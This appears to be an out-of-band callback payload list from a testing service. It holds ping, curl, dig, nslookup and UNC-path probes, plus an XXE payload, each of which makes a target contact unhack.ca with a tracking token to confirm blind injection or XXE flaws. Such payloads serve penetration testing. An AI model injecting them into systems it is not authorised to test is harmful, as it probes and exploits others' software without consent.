$ ping -c1 -p 0027937e7d0c5b7f31469420cd0d0800 unhack.ca
 

$ curl http://unhack.ca/p/27937e7d0c5b7f31469420cd0d08
 

$ dig 27937e7d0c5b7f31469420cd0d08 @unhack.ca
 

$ dig 27937e7d0c5b7f31469420cd0d08.ns.unhack.ca
 

C:\> nslookup 27937e7d0c5b7f31469420cd0d08 unhack.ca
 

C:\> type \\unhack.ca\27937e7d0c5b7f31469420cd0d08\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/27937e7d0c5b7f31469420cd0d08">]>
    <foo>&xxe;</foo>